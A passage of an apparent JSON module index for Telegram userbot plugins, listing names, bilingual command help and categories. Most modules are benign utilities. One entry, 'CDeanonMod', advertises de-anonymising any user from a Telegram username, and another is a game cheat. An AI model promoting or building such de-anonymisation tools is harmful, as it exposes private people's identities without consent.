null, + "doc": "- Check who in ignore" + } + }, + { + "removeignore": { + "ru_doc": " [id / reply] - Удалить из списка игнора", + "en_doc": null, + "doc": "[id / reply] - Remove from ignore list" + } + } + ], + "category": [ + "Moderation", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/TempJoinChannel.py": { + "name": "TempJoinChannel", + "description": "Enter the channels temporarily!", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/MuRuLOSE/HikkaModulesRepo/main/assets/modbanners/tempjoinchannel.png", + "desc": "Enter the channels temporarily!", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "addchannels": "- Add channels, put the word inline in the arguments if you need channels from there. Or list any channel attributes (ids, links, usernames). (Inline dont work) Добавь каналы, напишите в аргументы слово inline если нужны каналы оттуда. Либо перечислите любые признаки канала (айди, ссылки, юзернеймы). Inline dont work" + }, + { + "leavechannels": "- Leave all channels that have been added Покинуть все каналы которые были добавлены" + } + ], + "new_commands": [ + { + "addchannels": { + "ru_doc": "Добавь каналы, напишите в аргументы слово inline если нужны каналы оттуда. Либо перечислите любые признаки канала (айди, ссылки, юзернеймы). Inline dont work", + "en_doc": null, + "doc": "- Add channels, put the word inline in the arguments if you need channels from there. Or list any channel attributes (ids, links, usernames). (Inline dont work)" + } + }, + { + "leavechannels": { + "ru_doc": "Покинуть все каналы которые были добавлены", + "en_doc": null, + "doc": "- Leave all channels that have been added" + } + } + ], + "category": [ + "Automation", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/InlineButtons.py": { + "name": "InlineButtons", + "description": "Create inline buttons easily", + "meta": { + "pic": null, + "banner": "link", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "cinline": "[Button text] [Button link] [Text] - Create inline button [Текст кнопки] [Ссылка в кнопке] [Текст] - Создать инлайн кнопку" + } + ], + "new_commands": [ + { + "cinline": { + "ru_doc": " [Текст кнопки] [Ссылка в кнопке] [Текст] - Создать инлайн кнопку", + "en_doc": null, + "doc": "[Button text] [Button link] [Text] - Create inline button" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/HTTPCat.py": { + "name": "HTTPCat", + "description": "Funny images with HTTP statuses", + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVb.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "gethttpcat": "[HTTP Status / HTTP Status group (ex. 4xx, 3xx) / Nothing] - Get picture with cat and HTTP code [HTTP Статус / Ничего] - Получить картинку с котом и HTTP кодом" + } + ], + "new_commands": [ + { + "gethttpcat": { + "ru_doc": " [HTTP Статус / Ничего] - Получить картинку с котом и HTTP кодом", + "en_doc": null, + "doc": "[HTTP Status / HTTP Status group (ex. 4xx, 3xx) / Nothing] - Get picture with cat and HTTP code" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/VKMusic.py": { + "name": "VKMusic", + "description": null, + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVT.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "vkmpnow": "- Current song - Текущая песня" + }, + { + "vkmtoken": "- Instructions for token and user ID - Инструкции для токена и пользовательского идентификатора" + } + ], + "new_commands": [ + { + "vkmpnow": { + "ru_doc": " - Текущая песня", + "en_doc": null, + "doc": "- Current song" + } + }, + { + "vkmtoken": { + "ru_doc": " - Инструкции для токена и пользовательского идентификатора", + "en_doc": null, + "doc": "- Instructions for token and user ID" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/SpyEVO.py": { + "name": "SpyEVO", + "description": "Модуль для", + "meta": { + "pic": null, + "banner": null, + "developer": "@BruhHikkaModules", + "desc": "desc" + }, + "commands": [ + { + "show_spy": "Показывает кейсы за всё время работы модуля" + }, + { + "clear_spy": "Очистка базы данных (всех кейсов и тд)" + } + ], + "new_commands": [ + { + "show_spy": { + "ru_doc": null, + "en_doc": null, + "doc": "Показывает кейсы за всё время работы модуля" + } + }, + { + "clear_spy": { + "ru_doc": null, + "en_doc": null, + "doc": "Очистка базы данных (всех кейсов и тд)" + } + } + ], + "category": [ + "Info", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/MindGameCheat.py": { + "name": "MindGameCheat", + "description": "Module for cheat in MindGame", + "meta": { + "pic": null, + "banner": "https://0x0.st/s/Q4Hen86h2PuzHWVxH0OOCQ/H0YO.jpg", + "desc": "Module for cheat in MindGame", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "mcheat": "- [reply to MindGame] - Find emoji" + } + ], + "new_commands": [ + { + "mcheat": { + "ru_doc": null, + "en_doc": null, + "doc": "- [reply to MindGame] - Find emoji" + } + } + ], + "category": [ + "Games", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/K.py": { + "name": "K", + "description": "K", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "k": "K" + } + ], + "new_commands": [ + { + "k": { + "ru_doc": null, + "en_doc": null, + "doc": "K" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/compliments.py": { + "name": "compliments", + "description": "Генерирует комплименты", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "gen_compliment": "- Генерирует комлпимент" + } + ], + "new_commands": [ + { + "gen_compliment": { + "ru_doc": null, + "en_doc": null, + "doc": "- Генерирует комлпимент" + } + } + ], + "category": [ + "Social", + "Fun" + ] + }, + "MuRuLOSE/HikkaModulesRepo/ReplaceWords.py": { + "name": "ReplaceWords", + "description": "Replaces words", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "enable_rw": "- Enable / Disable replace words - Включить / Выключить замену слов" + }, + { + "add_word": "- [Word] [What to replace it with] - Add word - [Слово] [Чем заменить] - Добавить слово" + }, + { + "edit_word": "- [Word] [What to edit it with] - Edit word - [Слово] [На что изменить] - Изменить заменяемое слово" + }, + { + "remove_word": "- [word] - Remove word - [Слово] - Удалить слово" + }, + { + "list_words": "- Watch all replaced words - Посмотреть все замены слов" + } + ], + "new_commands": [ + { + "enable_rw": { + "ru_doc": " - Включить / Выключить замену слов", + "en_doc": null, + "doc": "- Enable / Disable replace words" + } + }, + { + "add_word": { + "ru_doc": " - [Слово] [Чем заменить] - Добавить слово", + "en_doc": null, + "doc": "- [Word] [What to replace it with] - Add word" + } + }, + { + "edit_word": { + "ru_doc": " - [Слово] [На что изменить] - Изменить заменяемое слово", + "en_doc": null, + "doc": "- [Word] [What to edit it with] - Edit word" + } + }, + { + "remove_word": { + "ru_doc": " - [Слово] - Удалить слово", + "en_doc": null, + "doc": "- [word] - Remove word" + } + }, + { + "list_words": { + "ru_doc": " - Посмотреть все замены слов", + "en_doc": null, + "doc": "- Watch all replaced words" + } + } + ], + "category": [ + "Customization", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/SearchersGenQuery.py": { + "name": "GoogleQueryGen", + "description": "- Create links for search engines query", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "GoogleQueryGen": "- [Args] - Gen link for google query - [Аргументы] - Генерирует ссылку для гугл запроса" + }, + { + "YandexQueryGen": "- [Args] - Gen link for yandex query - [Аргументы] - Генерирует ссылку для яндекс запроса" + }, + { + "BingQueryGen": "- [Args] - Gen link for bing query - [Аргументы] - Генерирует ссылку для бинг запроса" + }, + { + "DDGQueryGen": "- [Args] - Gen link for DuckDuckGo query - [Аргументы] - Генерирует ссылку для УткаУткаВперёд запроса" + }, + { + "YahooQueryGen": "- [Args] - Gen link for yahoo query - [Аргументы] - Генерирует ссылку для яху запроса" + } + ], + "new_commands": [ + { + "GoogleQueryGen": { + "ru_doc": " - [Аргументы] - Генерирует ссылку для гугл запроса", + "en_doc": null, + "doc": "- [Args] - Gen link for google query" + } + }, + { + "YandexQueryGen": { + "ru_doc": " - [Аргументы] - Генерирует ссылку для яндекс запроса", + "en_doc": null, + "doc": "- [Args] - Gen link for yandex query" + } + }, + { + "BingQueryGen": { + "ru_doc": " - [Аргументы] - Генерирует ссылку для бинг запроса", + "en_doc": null, + "doc": "- [Args] - Gen link for bing query" + } + }, + { + "DDGQueryGen": { + "ru_doc": " - [Аргументы] - Генерирует ссылку для УткаУткаВперёд запроса", + "en_doc": null, + "doc": "- [Args] - Gen link for DuckDuckGo query" + } + }, + { + "YahooQueryGen": { + "ru_doc": " - [Аргументы] - Генерирует ссылку для яху запроса", + "en_doc": null, + "doc": "- [Args] - Gen link for yahoo query" + } + } + ], + "category": [ + "Utilities", + "Info" + ] + }, + "MuRuLOSE/HikkaModulesRepo/RemoveLinks.py": { + "name": "RemoveLinks", + "description": "Remove links from your messages", + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVc.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "rmlink": "[status] - Enable / Shutdown link blocking [status] - Включить / выключить блокировку ссылок" + }, + { + "addrmlink": "[id] - Add / Remove chat where blocking links (if add *, removing will be global in all chats) [id] - Добавить / Удалить чат где блокируется ссылки (если добавить *, удаление будет глобальным во всех чатах)" + } + ], + "new_commands": [ + { + "rmlink": { + "ru_doc": " [status] - Включить / выключить блокировку ссылок", + "en_doc": null, + "doc": "[status] - Enable / Shutdown link blocking" + } + }, + { + "addrmlink": { + "ru_doc": " [id] - Добавить / Удалить чат где блокируется ссылки (если добавить *, удаление будет глобальным во всех чатах)", + "en_doc": null, + "doc": "[id] - Add / Remove chat where blocking links (if add *, removing will be global in all chats)" + } + } + ], + "category": [ + "Moderation", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/!example.py": { + "name": "MyModule", + "description": "My module", + "meta": { + "pic": null, + "banner": "link", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "helloworld": "Hello world Привет мир!" + } + ], + "new_commands": [ + { + "helloworld": { + "ru_doc": "Привет мир!", + "en_doc": null, + "doc": "Hello world" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "MuRuLOSE/HikkaModulesRepo/RandomDog.py": { + "name": "RandomDogs", + "description": "Get random pictures with dogs", + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVq.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "catchdog": "- Just return the picture of the dog - Просто возращает картинку собачки" + } + ], + "new_commands": [ + { + "catchdog": { + "ru_doc": " - Просто возращает картинку собачки", + "en_doc": null, + "doc": "- Just return the picture of the dog" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/PasswordUtils.py": { + "name": "PasswordUtils", + "description": "Ваш помощник в безопасных паролях", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "passwordchecker": "- [Password] - Check the password for security - [Пароль] - Проверить пароль на безопасность" + }, + { + "passwordgen": "- Gen password - Генерация пароля" + } + ], + "new_commands": [ + { + "passwordchecker": { + "ru_doc": " - [Пароль] - Проверить пароль на безопасность", + "en_doc": null, + "doc": "- [Password] - Check the password for security" + } + }, + { + "passwordgen": { + "ru_doc": " - Генерация пароля", + "en_doc": null, + "doc": "- Gen password" + } + } + ], + "category": [ + "Security", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/AutoLeave.py": { + "name": "AutoLeave", + "description": "Auto leaving from channels and chats (maybe pm's)", + "meta": { + "pic": null, + "banner": null, + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "addchatal": "[id / username] - Add chat to auto leave list" + } + ], + "new_commands": [ + { + "addchatal": { + "ru_doc": null, + "en_doc": null, + "doc": "[id / username] - Add chat to auto leave list" + } + } + ], + "category": [ + "Automation", + "Chat" + ] + }, + "iamnalinor/FTG-modules/swmute.py": { + "name": "SwmuteMod", + "description": "Deletes messages from certain users", + "meta": { + "pic": null, + "banner": null, + "developer": "@nalinormods" + }, + "commands": [ + { + "swmutecmd": "<reply/username/id> <time> — Add user to swmute list" + }, + { + "swunmutecmd": "<reply/username/id> — Remove swmute from user" + }, + { + "swmutelistcmd": "Get list of swmuted users" + }, + { + "swmuteclearcmd": "<all> — Clear all swmutes in this chat/in all chats" + } + ], + "new_commands": [ + { + "swmute": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply/username/id> <time> — Add user to swmute list" + } + }, + { + "swunmute": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply/username/id> — Remove swmute from user" + } + }, + { + "swmutelist": { + "ru_doc": null, + "en_doc": null, + "doc": "Get list of swmuted users" + } + }, + { + "swmuteclear": { + "ru_doc": null, + "en_doc": null, + "doc": "<all> — Clear all swmutes in this chat/in all chats" + } + } + ], + "category": [ + "Chat", + "Moderation" + ] + }, + "iamnalinor/FTG-modules/lavhost.py": { + "name": "LavHostMod", + "description": "Simple @lavHost manager", + "meta": { + "pic": null, + "banner": null, + "developer": "@nalinormods" + }, + "commands": [ + { + "lstopcmd": "Stop userbot" + }, + { + "lstartcmd": "Start userbot" + }, + { + "lrestartcmd": "Restart userbot" + }, + { + "linfocmd": "Get your lavHost info" + }, + { + "lcheckcmd": "<reply/username/id> — Check if user is registered in lavHost or not" + } + ], + "new_commands": [ + { + "lstop": { + "ru_doc": null, + "en_doc": null, + "doc": "Stop userbot" + } + }, + { + "lstart": { + "ru_doc": null, + "en_doc": null, + "doc": "Start userbot" + } + }, + { + "lrestart": { + "ru_doc": null, + "en_doc": null, + "doc": "Restart userbot" + } + }, + { + "linfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Get your lavHost info" + } + }, + { + "lcheck": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply/username/id> — Check if user is registered in lavHost or not" + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "iamnalinor/FTG-modules/msgrate.py": { + "name": "MsgRateMod", + "description": "Show chat activity, counted in MpH (messages per hour)", + "meta": { + "pic": null, + "banner": null, + "developer": "@nalinormods" + }, + "commands": [ + { + "msgratecmd": "<chat id/username/current> — Show MpH for chat" + }, + { + "msgstatcmd": "<r|g|b> <chat id/username/current> — Show chat MpH statistics" + } + ], + "new_commands": [ + { + "msgrate": { + "ru_doc": null, + "en_doc": null, + "doc": "<chat id/username/current> — Show MpH for chat" + } + }, + { + "msgstat": { + "ru_doc": null, + "en_doc": null, + "doc": "<r|g|b> <chat id/username/current> — Show chat MpH statistics" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "iamnalinor/FTG-modules/speedtest.py": { + "name": "SpeedtestMod", + "description": "Tests your internet speed via speedtest.net", + "meta": { + "pic": null, + "banner": null, + "developer": "@nalinormods" + }, + "commands": [ + { + "speedtestcmd": "Run speedtest" + } + ], + "new_commands": [ + { + "speedtest": { + "ru_doc": null, + "en_doc": null, + "doc": "Run speedtest" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "iamnalinor/FTG-modules/membersquery.py": { + "name": "MembersQueryMod", + "description": "Finds an intersection between members of different groups", + "meta": { + "pic": null, + "banner": null, + "developer": "@nalinormods" + }, + "commands": [ + { + "mjoincmd": "<username/chat ID> ... — Find users that are in all given chats at same time" + }, + { + "mquerycmd": "<query?> — Find users from given chats that match the query. Call without args for help." + } + ], + "new_commands": [ + { + "mjoin": { + "ru_doc": null, + "en_doc": null, + "doc": "<username/chat ID> ... — Find users that are in all given chats at same time" + } + }, + { + "mquery": { + "ru_doc": null, + "en_doc": null, + "doc": "<query?> — Find users from given chats that match the query. Call without args for help." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "thomasmod/hikkamods/truefalse.py": { + "name": "TrueOrFalseMod", + "description": "The module will tell you if it's true or false", + "meta": { + "pic": "https://te.legra.ph/file/302a4cff5a0d14fb3cfd0.png", + "banner": "https://te.legra.ph/file/1a095e49fb817f622c722.jpg", + "desc": "True or False", + "developer": "@wilsonmods" + }, + "commands": [ + { + "tof": "[text] - True or False Показывает правду или ложь" + } + ], + "new_commands": [ + { + "tof": { + "ru_doc": "Показывает правду или ложь", + "en_doc": null, + "doc": "[text] - True or False" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "thomasmod/hikkamods/crename.py": { + "name": "ReanemerMod", + "description": "Rename file name", + "meta": { + "pic": "https://te.legra.ph/file/a2c350d63b964fa70903c.png", + "banner": "https://te.legra.ph/file/9adde024646b7662f12fe.jpg", + "developer": "@wilsonmods" + }, + "commands": [ + { + "renamecmd": "> rename [name.format]" + } + ], + "new_commands": [ + { + "rename": { + "ru_doc": null, + "en_doc": null, + "doc": "> rename [name.format]" + } + } + ], + "category": [ + "Fun", + "Chat" + ] + }, + "thomasmod/hikkamods/ctiktok.py": { + "name": "TikDownBotMod", + "description": "Upload video via TikTok link «Optimized»", + "meta": { + "pic": "https://te.legra.ph/file/0f3118686c0f6f371d58b.png", + "banner": "https://te.legra.ph/file/d53309369305946062a89.jpg", + "desc": "Browse movies by genre and watch them online via bot", + "developer": "@wilsonmods" + }, + "commands": [ + { + "tdcmd": "> [Link] just enter the link for the video" + } + ], + "new_commands": [ + { + "td": { + "ru_doc": null, + "en_doc": null, + "doc": "> [Link] just enter the link for the video" + } + } + ], + "category": [ + "Media", + "Chat" + ] + }, + "thomasmod/hikkamods/cchid.py": { + "name": "CChidMod", + "description": "Модуль идентификации пользователей\n\n> Надеюсь вам понравятся...\n> И другие модули: @wilsonmods", + "meta": { + "pic": "https://te.legra.ph/file/029eb6160b704b826c34a.png", + "banner": "https://te.legra.ph/file/c8577322bd5ce031efdca.jpg", + "developer": "@wilsonmods" + }, + "commands": [ + { + "chidcmd": "> Введите идентификационный номер или имя пользователя" + }, + { + "toidcmd": "> Найти человека по идентификационному номеру" + }, + { + "tidcmd": "> Идентификация ID по имени пользователя" + } + ], + "new_commands": [ + { + "chid": { + "ru_doc": null, + "en_doc": null, + "doc": "> Введите идентификационный номер или имя пользователя" + } + }, + { + "toid": { + "ru_doc": null, + "en_doc": null, + "doc": "> Найти человека по идентификационному номеру" + } + }, + { + "tid": { + "ru_doc": null, + "en_doc": null, + "doc": "> Идентификация ID по имени пользователя" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "thomasmod/hikkamods/cuploader.py": { + "name": "UploadToProviderMod", + "description": "Хостинг-провайдеры «skynet», «imgur», «oxo»", + "meta": { + "pic": "https://te.legra.ph/file/12605828ab1dc52569739.png", + "banner": "https://te.legra.ph/file/407a0817f59ec861d031b.jpg", + "developer": "@wilsonmods | @hikarimods" + }, + "commands": [ + { + "skycmd": "> Загрузить в хостинг «SkyNet»" + }, + { + "imgurcmd": "> Загрузить в провайдер «imgur»" + }, + { + "oxocmd": "> Загрузить в хостинг «oxo»" + } + ], + "new_commands": [ + { + "sky": { + "ru_doc": null, + "en_doc": null, + "doc": "> Загрузить в хостинг «SkyNet»" + } + }, + { + "imgur": { + "ru_doc": null, + "en_doc": null, + "doc": "> Загрузить в провайдер «imgur»" + } + }, + { + "oxo": { + "ru_doc": null, + "en_doc": null, + "doc": "> Загрузить в хостинг «oxo»" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "thomasmod/hikkamods/musicfind.py": { + "name": "MusicFinderMod", + "description": "Find music quickly and the quality is very high", + "meta": { + "pic": "https://te.legra.ph/file/c13bda4dc3eaa8c3f0f4e.png", + "banner": "https://te.legra.ph/file/0254e03843074fa879d2f.jpg", + "desc": "Find music quickly and the quality is very high", + "developer": "@wilsonmods" + }, + "commands": [ + { + "sptdl": "[type] - to find on Spotify [название] - Введите, чтобы найти на Spotify" + }, + { + "vkdl": "[type] - to find via VK [название] - Введите, чтобы найти через VK" + } + ], + "new_commands": [ + { + "sptdl": { + "ru_doc": "[название] - Введите, чтобы найти на Spotify", + "en_doc": null, + "doc": "[type] - to find on Spotify" + } + }, + { + "vkdl": { + "ru_doc": "[название] - Введите, чтобы найти через VK", + "en_doc": null, + "doc": "[type] - to find via VK" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "thomasmod/hikkamods/cdeanon.py": { + "name": "CDeanonMod", + "description": "Anyone can be deanoned, just enter your Telegram username", + "meta": { + "pic": "https://te.legra.ph/file/fb9f08e6256915a729a12.png", + "banner": "https://te.legra.ph/file/d50815f35c08b9c3dcc90.jpg", + "desc": "Деанон пользователей со всех сетях ", + "developer": "@wilsonmods" + }, + "commands": [ + { + "deanon": "[username] - Without «@» [юзернейм] - Без «@»" + } + ], + "new_commands": [ + { + "deanon": { + "ru_doc": "[юзернейм] - Без «@»", + "en_doc": null, + "doc": "[username] - Without «@»" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "thomasmod/hikkamods/cmovies.py": { + "name": "CMovies", + "description": "Просмотр лучших фильмов, отсортированных по жанрам", + "meta": { + "pic": "https://te.legra.ph/file/386e8b541bb93f1537d1d.png", + "banner": "https://i.imgur.com/ccA9WkZ.jpeg", + "desc": "Browse movies by genre and watch them online via bot", + "developer": "@wilsonmods" + }, + "commands": [ + { + "cmoviescmd": "> Посмотреть каталог фильмов" + }, + { + "creqcmd": "> Информация о добавлении предложения фильма" + } + ], + "new_commands": [ + { + "cmovies": { + "ru_doc": null, + "en_doc": null, + "doc": "> Посмотреть каталог фильмов" + } + }, + { + "creq": { + "ru_doc": null, + "en_doc": null, + "doc": "> Информация о добавлении предложения фильма" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "thomasmod/hikkamods/atelegraph.py": { + "name": "ActuallTelegraphMod", + "description": "Uploading a photo/gif/picture to actuall telegraph", + "meta": { + "pic": "https://te.legra.ph/file/c0292154a0e8bbe2ba654.png", + "banner": "https://te.legra.ph/file/71b59ef7904a7742c8109.jpg", + "developer": "@wilsonmods" + }, + "commands": [ + { + "cphcmd": "> Set up buttons for the module" + }, + { + "phcmd": "> Uploading a photo/gif/picture to Telegra.ph" + } + ], + "new_commands": [ + { + "cph": { + "ru_doc": null, + "en_doc": null, + "doc": "> Set up buttons for the module" + } + }, + { + "ph": { + "ru_doc": null, + "en_doc": null, + "doc": "> Uploading a photo/gif/picture to Telegra.ph" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "thomasmod/hikkamods/codemanager.py": { + "name": "CodeManagerMod", + "description": "Manager bot for working on modules (all Python files in general).", + "meta": { + "pic": "https://te.legra.ph/file/e534f736497cd1b3e711b.png", + "banner": "https://te.legra.ph/file/16c25a32943f74d7a47bf.jpg", + "desc": "Manager bot for working on modules (all Python files in general).", + "developer": "@wilsonmods" + }, + "commands": [ + { + "tofilecmd": "Reply to message code" + }, + { + "tofilencmd": "[name.format] - Reply to message code (enter the name and format)" + }, + { + "tomsgcmd": "Reply to file code" + } + ], + "new_commands": [ + { + "tofile": { + "ru_doc": null, + "en_doc": null, + "doc": "Reply to message code" + } + }, + { + "tofilen": { + "ru_doc": null, + "en_doc": null, + "doc": "[name.format] - Reply to message code (enter the name and format)" + } + }, + { + "tomsg": { + "ru_doc": null, + "en_doc": null, + "doc": "Reply to file code" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "thomasmod/hikkamods/mygallery.py": { + "name": "MyGalleryMod", + "description": "> This is the module in which my pictures are collected", + "meta": { + "pic": "https://te.legra.ph/file/c2a2e80babba6113cbf60.png", + "banner": "https://te.legra.ph/file/5e285dfcd5521028e4edf.jpg", + "desc": "This is the module in which my pictures are collected", + "developer": "@wilsonmods" + }, + "commands": [ + { + "gl": "> Open my gallery > Открыть мою галерею" + }, + { + "glcf": "> Open gallery configuration > Открыть конфигурацию галереи" + }, + { + "gltutor": "> Tutor how to add a photo to the MyGallery > Тутор как добавить фото в MyGallery" + } + ], + "new_commands": [ + { + "gl": { + "ru_doc": " > Открыть мою галерею", + "en_doc": null, + "doc": "> Open my gallery" + } + }, + { + "glcf": { + "ru_doc": " > Открыть конфигурацию галереи", + "en_doc": null, + "doc": "> Open gallery configuration" + } + }, + { + "gltutor": { + "ru_doc": " > Тутор как добавить фото в MyGallery", + "en_doc": null, + "doc": "> Tutor how to add a photo to the MyGallery" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "thomasmod/hikkamods/cringe.py": { + "name": "RandomCringeMod", + "description": "Random cringe generate", + "meta": { + "pic": "https://te.legra.ph/file/546396354d6a3161e71bb.png", + "banner": "https://te.legra.ph/file/f61d5478f5aeead963421.jpg", + "desc": "Generator of random cringe photos", + "developer": "@wilsonmods" + }, + "commands": [ + { + "addcringe": "Add cringe via configuration Добавить кринж через конфигурацию" + }, + { + "cringe": "Send random cringe Отправить случайный кринж" + } + ], + "new_commands": [ + { + "addcringe": { + "ru_doc": "Добавить кринж через конфигурацию", + "en_doc": null, + "doc": "Add cringe via configuration" + } + }, + { + "cringe": { + "ru_doc": "Отправить случайный кринж", + "en_doc": null, + "doc": "Send random cringe" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KeyZenD/modules/MegaMozg.py": { + "name": "MegaMozgMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "mozgcmd": ".mozg <on/off/...> - Переключить режим дурачка в чате" + }, + { + "mozgchancecmd": ".mozgchance <int> - Устанвоить шанс 1 к N.\n0 - всегда отвечать" + } + ], + "new_commands": [ + { + "mozg": { + "ru_doc": null, + "en_doc": null, + "doc": ".mozg <on/off/...> - Переключить режим дурачка в чате" + } + }, + { + "mozgchance": { + "ru_doc": null, + "en_doc": null, + "doc": ".mozgchance <int> - Устанвоить шанс 1 к N.\n0 - всегда отвечать" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/_base64.py": { + "name": "base64Mod", + "description": "Кодирование и декодирование base64", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "b64encodecmd": ".b64encode <(text or media) or (reply to text or media)>" + }, + { + "b64decodecmd": ".b64decode <text or reply to text>" + } + ], + "new_commands": [ + { + "b64encode": { + "ru_doc": null, + "en_doc": null, + "doc": ".b64encode <(text or media) or (reply to text or media)>" + } + }, + { + "b64decode": { + "ru_doc": null, + "en_doc": null, + "doc": ".b64decode <text or reply to text>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/StickTools.py": { + "name": "StickToolsMod", + "description": "", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "stick2piccmd": "reply to Sticker\nsend stricker as image" + }, + { + "stick2filecmd": "reply to Sticker\nsend stricker as image" + } + ], + "new_commands": [ + { + "stick2pic": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to Sticker\nsend stricker as image" + } + }, + { + "stick2file": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to Sticker\nsend stricker as image" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/YandexRS.py": { + "name": "YandexReverseSearchMod", + "description": "Reverse image search via Yandex (he is the best, imho)", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "yarscmd": ".yars <repy to image>" + } + ], + "new_commands": [ + { + "yars": { + "ru_doc": null, + "en_doc": null, + "doc": ".yars <repy to image>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/test.py": { + "name": "TestMod", + "description": "Self-tests", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pingcmd": "Does nothing" + }, + { + "pungcmd": "Useless pinger" + }, + { + "dumpcmd": "Use in reply to get a dump of a message" + }, + { + "logscmd": ".logs <level>\nDumps logs. Loglevels below WARNING may contain personal info." + }, + { + "suspendcmd": ".suspend <time>\nSuspends the bot for N seconds" + } + ], + "new_commands": [ + { + "ping": { + "ru_doc": null, + "en_doc": null, + "doc": "Does nothing" + } + }, + { + "pung": { + "ru_doc": null, + "en_doc": null, + "doc": "Useless pinger" + } + }, + { + "dump": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to get a dump of a message" + } + }, + { + "logs": { + "ru_doc": null, + "en_doc": null, + "doc": ".logs <level>\nDumps logs. Loglevels below WARNING may contain personal info." + } + }, + { + "suspend": { + "ru_doc": null, + "en_doc": null, + "doc": ".suspend <time>\nSuspends the bot for N seconds" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/colorBit.py": { + "name": "colorBitMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "cbitcmd": ".cbit <число от 0 до 255" + } + ], + "new_commands": [ + { + "cbit": { + "ru_doc": null, + "en_doc": null, + "doc": ".cbit <число от 0 до 255" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/im2bin.py": { + "name": "Im2BinaryMod", + "description": "Картинки в текст. что?", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "bincmd": ".bin <картинка или реплай> + слова (дефолт на рандоме) (не мешает слова)" + }, + { + "rbincmd": ".rbin <картинка или реплай> + слова (дефолт на рандоме) (мешает слова)" + } + ], + "new_commands": [ + { + "bin": { + "ru_doc": null, + "en_doc": null, + "doc": ".bin <картинка или реплай> + слова (дефолт на рандоме) (не мешает слова)" + } + }, + { + "rbin": { + "ru_doc": null, + "en_doc": null, + "doc": ".rbin <картинка или реплай> + слова (дефолт на рандоме) (мешает слова)" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/words.py": { + "name": "WordsMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "wordscmd": "" + } + ], + "new_commands": [ + { + "words": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + 